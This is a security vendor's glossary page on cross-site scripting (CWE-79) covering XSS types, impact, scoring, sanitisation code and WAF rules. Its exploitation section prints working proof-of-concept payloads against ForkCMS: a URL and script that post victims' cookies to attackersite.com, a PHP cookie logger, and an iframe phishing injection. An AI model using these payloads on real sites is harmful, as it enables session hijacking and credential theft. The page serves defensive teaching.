Total Tests:

CWE Glossary

CWE is a trademark of the MITRE Corporation.

Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Cross-Site Scripting – XSS [CWE-79]

Cross-Site scripting or XSS is a weakness that is caused by improper neutralization of input during web page generation.

Cross-Site Scripting - XSS [CWE-79]

Created: September 11, 2012
Latest Update: December 29, 2020

Table of Content

  1. Description
  2. Potential impact
  3. Attack patterns
  4. Affected software
  5. Exploitation Examples
  6. Severity and CVSS Scoring
  7. Mitigations
  8. Vulnerability Remediation Techniques and Examples
  9. Common Fix Errors and Bypasses
  10. References
  11. Related Security Advisories

Want to have an in-depth understanding of all modern aspects of
Cross-Site Scripting – XSS [CWE-79]? Read carefully this article and bookmark it to get back later, we regularly update this page.

1. Description

The weakness occurs when software does not perform or incorrectly performs neutralization of input data before displaying it in user's browser. As a result, an attacker is able to inject and execute arbitrary HTML and script code in user's browser in context of a vulnerable website. Based on weakness conditions it is common to divide cross-site scripting errors into 3 main types: reflected XSS, stored XSS and DOM-based XSS.

1.1 Reflected XSS (Non-persistent XSS)

This type describes an error when application reads input data from the HTTP request and reflects it back in HTTP response. The malicious content is never stored in the application and can be viewed only when user follows a specially crafted link.

1.2 Stored XSS (persistent XSS)

This type describes an error when application reads input data from the HTTP request and stores it in database, logs, cached pages, etc. Malicious code can be later executed in user's browser when user visits a vulnerable page.

1.3 DOM-based XSS

This type describes an error within the DOM model of user's browser. That means that injection occurs inside the client script that accepts and return back data from user's browser.

1.4 uXSS (Universal XSS)

A variant of XSS that can be triggered by leveraging flaws in browsers and browser plugins, instead of within a web application. This could potentially lead to all current sessions within the web browser being affected, not just a single specific session.

1.5 Self-XSS

Self-XSS is a variant of Cross-site scripting vulnerability, when very close user interaction is required. For example, the victim should insert a specially crafted input into HTML form in order to execute JavaScript code.

2. Potential impact

After successful attack a malicious user can perform a variety of actions: steal user's cookies, modify webpage contents, perform operations with the site within user's session (XSS proxy).

A non-exhaustive list of potential attack avenues is listed below:

  • Cookie theft;
  • Webpage defacement;
  • iFrame overlay to facilitate phishing, credential theft;
  • Hidden iFrame to load malicious JavaScript, to attempt exploits on the victim machine;
  • Redirection to other websites, to facilitate malware delivery;
  • Injection of malicious JavaScript, turning compromised site into a drive-by download site.
How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

3. Attack patterns

The following attack patterns can leverage cross-site scripting vulnerability according to CAPEC (Common Attack Pattern Enumeration and Classification) classification:


Alternative WASC Threat Classification describes Cross-site Scripting as an attack under WASC-8.

4. Affected software

Software that uses HTML to display data is potentially vulnerable to this weakness: web applications, browsers, ActiveX controls, browser plugins, email and RSS clients, frontends for hardware solutions, etc.

5. Exploitation Examples

We will use vulnerability in ForkCMS - HTB23075 security advisory (CVE-2012-1188) as an example of this weakness and show two different attacks against the vulnerable application.

Cookie theft

A malicious user can steal cookies and use them to gain access to the application. Successful exploitation requires that user, who is logged-in into the application, follows a specially crafted link to vulnerable website:
http://forkcms.local/private/en/error?type=%3Cscript%20src=http://attackersite.com/fork.js%3E%3C/script%3E
the resultant page looks as follows:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

This means that the fork.js script located at the attackersite.com will be loaded and executed. The fork.js script contains the following code:

  1. function post_to_url(path, params, method) {
  2.   var form = document.createElement("form");
  3.   form.setAttribute("method", method);
  4.   form.setAttribute("action", path);
  5.   var hiddenField = document.createElement("input");
  6.   hiddenField.setAttribute("type", "hidden");
  7.   hiddenField.setAttribute("name", "1");
  8.   hiddenField.setAttribute("value", params);
  9.   form.appendChild(hiddenField);
  10.   document.body.appendChild(form);
  11.   form.submit();
  12. }
  13. post_to_url("http://attackersite.com/fork.php", document.cookie, "post");

The above code sends HTTP POST request to file http://attackersite.com/fork.php that logs all data and redirects the victim back to the original website. The fork.php script contains the following code:

  1. <?php
  2. file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt",$_POST,FILE_APPEND);
  3. file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt","\r\n",FILE_APPEND);
  4. header("Location: http://forkcms.local/private/en/");
  5. exit;
  6. ?>

An attacker can use the received data to create cookies and gain access to the application. This can be achieved with any cookie editor plugin:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

We used the Cookie Editor plugin for Firefox to create the necessary cookies. After that, we just visit the vulnerable website:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

Phishing

Another exploitation example of this vulnerability uses some social engineering techniques to steal the administrator's password.

This is a usual login window:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

The following PoC changes the contents of this page:
http://forkcms.local/private/en/error?type=%3C/div%3E%3Cdiv%20style=%22color:white;font:75px%20arial;position:absolute;left:0;top:0;background:black;width:100%;height:888px; border:1px%20solid;z-index:1000%22%3E%3Ccenter%3EXSS%3C/div%3E HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example

An attacker might also change some elements of the page and steal user credentials after tricking victim into following a specially crafted link:
http://forkcms.local/private/en/error?type=%3C/div%3E%3Ciframe%20src=%22http://www.attacker-site.com/file.html%22%20style=%22border=0;z-index:1000;position:absolute;left:0;top:0;height:100%;width:100%;%22%3E%3C/iframe%3E

A malicious user can create webpage, which looks identical to a legitimate one, and intercept potentially sensitive information:

HTB23075 advisory (CVE-2012-1188) CWE-79 PoC exploitation example


As we can see, an "iframe" tag is loaded from an external domain attacker-site.com. The page looks the same as usual except the submit button, which sends data to a malicious domain, and an extremely long URL. The status bar with malicious website is left on purpose; it can be easily changed to arbitrary value.

DOM-based cross-site scripting with JSON and Ajax

Another exploitation vector for cross-site scripting vulnerabilities is JSON/Ajax injection. Modern web applications widely use Ajax technology to display and update important data without reloading the page. In this example we will demonstrate DOM-based XSS against a bogus web application and show how easy it is to exploit these vulnerabilities.

Let's assume we have a live chat application which displays status of each contact in user's list. Users can use custom messages to display their status. The list of users and their statuses is constructed by a server-side script and passed to each chat member via a JSON object.

JSON object:
{"OnlineUsers": "4", "UserAndStatus": ["User1, Online", "User2, Online", "User3, Online", "User4, Busy"]}

JavaScript Code:

  1. var http_request = new XMLHttpRequest();
  2. var Contacts;
  3. http_request.open("GET", url, true);
  4. http_request.onreadystatechange = function ()
  5. {
  6.         if (http_request.readyState == 4)
  7.         {
  8.                 if (http_request.status == 200) {
  9.                         Contacts = eval("(" + http_request.responseText + ")");
  10.                 }
  11.                 http_request = null;
  12.         }
  13. };
  14. http_request.send(null);

The JavaScript eval() function is essential for JSON data. In case of improper input validation it is very easy to exploit. For example, with custom user status it is possible to inject the following string into JSON object:
Busy"});alert("DOM based XSS");//
and execute alert() function in browsers of every chat member.

DOM-based cross-site scripting with JSON and Ajax CWE-79 PoC exploitation example

6. Severity and CVSS Scoring

Cross-site scripting influences integrity and confidentiality of the data and requires some user interaction (user must visit a specially crafted page or follow a malicious link). It should be scored as follows:
6.1 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:R/.S:C/.C:L/.I:L/.A:N] – Medium severity.

If user interaction is not needed (e.g. in case of a stored XSS on a publicly accessible page) we advise to score this weakness as UI:N:
7.2 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:N/.S:C/.C:L/.I:L/.A:N] – High severity.

7. Mitigations

Cross-site scripting occurs when untrusted data is inserted into HTTP response. Despite all efforts of security community and top vendors this weakness is the most common problem for web applications. There are basic rules that should be followed to protect application from XSS:

  1. Never insert untrusted input:

    • directly in the script:

      1. <script>UNTRUSTED INPUT</script>
      This way it is impossible to sanitize data, because any input passed inside the script tag is treated as script by the browser.

    • directly in CSS:

      1. <style>UNTRUSTED INPUT</style>
      An attacker can use CSS to load and execute arbitrary script code in user's browser.

    • in a tag name:

      1. <UNTRUSTED INPUT src="/images/…">

    • in an attribute name:

      1. <div UNTRUSTED INPUT …=123>

    • in an attribute value:

      1. <a href="UNTRUSTED INPUT"> (javascript:)

    • inside HTML comment:

      1. <!-- UNTRUSTED INPUT -->
      Input in the above locations cannot be sanitized correctly and can be potentially used to perform cross-site scripting attacks.

    • Directly into HTML page.

    • Inside javascript event.

  2. Perform sanitation of input data before inserting it into the page content:

    Any character that might be treated by the web browser as HTML content should be sanitized. The following table contains characters that should be escaped when handling untrusted input:

    Character Replacement
    <&lt;
    >&gt;
    "&quot;
    '&#x27;
    &&amp;
    /&#x2F;

    Developers should use URL-encoding on input inserted into URL tags.

    When untrusted input is inserted into script or event all quotation symbols and backslashes should be escaped. All properly escaped data within javascript code should be included into quotes.

    When usage of untrusted input as strings or names within scripts or events is crucial for application design, this input should be sanitized and contain strictly letters and numbers.

    These are general recommendations. Every case must be treated separately.

  3. Use native API and additional software whenever possible:

    PHP has native API that can help protect application from XSS attacks. Developers can use htmlspecialchars() or htmlentities() functions to deal with untrusted input. Microsoft web protection library is also a great set of .NET assemblies that should be used when developing applications in .NET.

  4. Always use preset character encoding of the displayed page:

    Never rely on browser auto-select encoding functionality. An attacker might be able to bypass sanitation checks and perform successful XSS attacks if page encoding is not preset and user's browser is configured to use auto-select encoding.

8. Vulnerability Remediation Techniques and Examples

8.1 General recommendations for software developers

For usual output into HTML page:

PHP
  1. $param=htmlspecialchars($param, ENT_QUOTES);

Or perform direct replacement of dangerous symbols:

  1. $param=preg_replace("/[^a-z0-9]/i", "", $param);
PERL
  1. $param=encode_entities($param, "<>\"\'");

Or perform direct replacement of dangerous symbols:

  1. $param=~s/[^a-z0-9]//gi;
ASP.NET
  1. <asp:RegularExpressionValidator runat="server" id="ParamValidator" ControlToValidate="Param" ErrorMessage="Invalid input. You are allowed to enter characters and digits only" ValidationExpression="^[a-zA-Z0-9]" />
ColdFusion
  1. <cfscript>
  2.   param=HTMLEditFormat(param);
  3. </cfscript>
Python
  1. cgi.escape(text, quote=True)

Most of the template engines like Genshi, Jinja2, Makooffer, etc. offer their own sanitation mechanism. It is advised to use them instead.

JAVA/JSP
  1. myString = myString.replaceAll("[^A-Za-z0-9]", "");

These are basic recommendations which could be ineffective depending on application's logic and injection location.

Caution: do not blindly copy-paste the above-mentioned solutions into your application code. In some cases this may result in incorrect behavior of the application or inconsistent patch. Carefully read the References or consult security specialists in case you are not sure how to patch a vulnerability.

8.2 Using Web Application Firewall (WAF)

Web Application Firewall can be an efficient solution to prevent vulnerability exploitation while you are developing or waiting for a security patch. We do not recommend using WAF as a long-term solution, neither as a replacement to properly developed security patch.

As an example, we will use an open source web application firewall ModSecurity developed by Trustwave. There are many rule sets for ModSecurity licensed under ASLv2 and widely distributed by security companies and organizations. These rule sets can be applied to cover all basic cases of vulnerabilities’ exploitation and can be used on production servers.

A majority of XSS attacks was covered in the modsecurity_crs_41_xss_attacks.conf rule set. However certain rules can introduce false positives and can be removed or modified.

Let's have a look at vulnerability in KrisonAV CMS described in HTB23150 (CVE-2013-2712). This is a great example of reflected XSS. We will create a rule that allows passing alphabetical symbols only via the “content” HTTP GET parameter to “/services/get_article.php” script:

SecRule REQUEST_FILENAME "/service/get_article.php" "chain,phase:2,rev:'2', ver:'HTBRIDGE /0.1',maturity:'9',accuracy:'7', t:none,ctl:auditLogParts=+E, block,msg:'XSS in KrisonAV CMS HTB23150',id:'1000000003',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',t:none,capture, tag:'HTBRIDGE/WEB_ATTACK/XSS',setvar:'tx.msg=%{rule.msg}'"
SecRule ARGS:content "!^([a-zA-Z]+)$"

Another vulnerability in Hero Framework described in security advisory HTB23149 (CVE-2013-2649) can be used to pass arbitrary base64-encoded JavaScript code to the application and execute it in user’s browser. The following rule will decode untrusted input and allow only alphabetical characters and spaces in error message:

SecRule ARGS:error "!^([a-zA-Z ]+)$" "phase:2,rev:'2',ver:'HTBRIDGE /0.1', maturity:'9',accuracy:'7',t:base64decode, ctl:auditLogParts=+E,block, msg:'XSS in Hero Framework HTB23149',id:'1000000004',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,tag:'HTBRIDGE/WEB_ATTACK/XSS',setvar:'tx.msg=%{rule.msg}'"

As a temporary solution to block a known XSS attack vector you can use the following universal ModSecurity rule that allows only digits and letters in the vulnerable parameter <PARAM>: SecRule ARGS:<PARAM> !^([a-zA-Z0-9]+)$ "block,phase:2,msg:'Possible XSS attack'"

9. Common Fix Errors and Bypasses

A common approach is to implement blacklist filters that attempt to filter any potentially dangerous characters by searching for patterns. Due to the complex and dynamic nature of web scripting and browsers, there are a multitude of ways that a determined attacker can find an appropriate payload for a specific context.

A non-exhaustive list of typical examples of poorly implemented filters is shown below:

  • Keyword filters, e.g. looking for the presence of 'alert', this can be encoded in many other ways, constructed by being concatenated together, by using mixed case, or by using a JavaScript function to create the string.
  • The presence of the script tag, tags will be parsed in several malformed ways.
  • Filtering all events that that with 'on', clever use of HTML and browser quirks can be employed to circumvent this, such as the use of control characters which get converted to spaces.
  • Removing potentially malicious tags or keywords, this needs to be performed recursively, as an attacker can define multiple occurrences of the tag or keyword to fool the check.
  • Quote escaping, implementing incorrectly can lead to backslashes being used to escape the quote and the corresponding backslash.

10. References

  1. XSS (Cross Site Scripting) Prevention Cheat Sheet [www.owasp.org]
  2. DOM based XSS Prevention Cheat Sheet [www.owasp.org]
  3. Microsoft Web Protection Library [wpl.codeplex.com]
  4. Future of XSS Defense [software-security.sans.org]

11. Cross-Site Scripting (XSS) Vulnerabilities, Exploits and Examples


Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to ImmuniWeb is given.

↑ Back to Top
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential